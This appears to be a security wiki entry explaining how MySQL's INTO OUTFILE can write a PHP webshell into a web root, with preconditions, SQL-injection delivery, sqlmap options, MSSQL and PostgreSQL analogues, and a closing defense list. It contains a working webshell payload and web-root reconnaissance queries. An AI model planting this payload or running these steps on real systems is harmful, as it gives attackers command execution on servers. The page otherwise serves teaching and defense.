MySQL INTO OUTFILE Webshell

MySQL’s SELECT ... INTO OUTFILE writes query results to a file on the server’s filesystem — and when the query’s text is attacker-controlled (via direct database access or SQL injection), the written content can be a script dropped into a web root: a database primitive becomes remote code execution.

The canonical payload

SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/cmd.php';

Then GET /cmd.php?cmd=id executes commands as the web-server user. From there, a reverse shell is a one-liner away — the webshell is the bootstrap, not the goal.

Preconditions (all three must hold)

  1. FILE privilege. The MySQL account needs the global FILE privilege, which is not covered by GRANT ALL ON db.* — it requires GRANT FILE ON *.*. Webapp accounts usually lack it; admin-adjacent ones don’t.
  2. secure_file_priv must permit the target path. Since MySQL 5.7.6 this system variable defaults to a restrictive value: a specific directory (only that dir is writable), NULL (OUTFILE fully disabled), or empty (no restriction — the exploitable case). Check with:
    SHOW VARIABLES LIKE 'secure_file_priv';
    SELECT @@global.secure_file_priv;
  3. Filesystem permissions. The OS user running mysqld must be able to write the target directory — and the target file must not already exist (OUTFILE refuses to overwrite, a small anti-tamper control).

Finding the web root

The write path is server-side, so you need an absolute path the web server serves:

  • Force an error that leaks the document root (a common recon trick through SQLi error channels).
  • Read likely configs through LOAD_FILE() (also FILE-priv-gated): SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf');
  • Brute-force common roots: /var/www/html, /srv/www, /usr/share/nginx/html, C:\inetpub\wwwroot on Windows targets.

SQLi delivery

Through injection the same statement is smuggled into a vulnerable query — e.g. terminating the original SELECT and appending the OUTFILE clause, or via stacked queries where the driver allows them. sqlmap automates it: --os-shell (which attempts OUTFILE webshell upload) and --file-write/--file-dest handle privilege checks and path probing; see sqlmap.

MSSQL and PostgreSQL cousins

  • Microsoft SQL Server reaches the same outcome through xp_cmdshell (see ms-sql-server, mssql-empty-sa-xp-cmdshell) or OLE automation — different mechanism, identical database-to-RCE shape.
  • PostgreSQL uses COPY ... TO PROGRAM (9.3+) for direct command execution, no webshell middleman needed.

Defense

  • Never grant FILE to application accounts.
  • Set secure_file_priv to a dedicated export directory (or NULL).
  • Run mysqld with minimal filesystem permissions; keep web roots unwritable by the database user.
  • WAF/audit rules on INTO OUTFILE / INTO DUMPFILE in query logs.

Sources

Related: sql-injection-attacks, sqlmap, ms-sql-server, mssql-empty-sa-xp-cmdshell, rogue-mysql-server, oracle-sql-server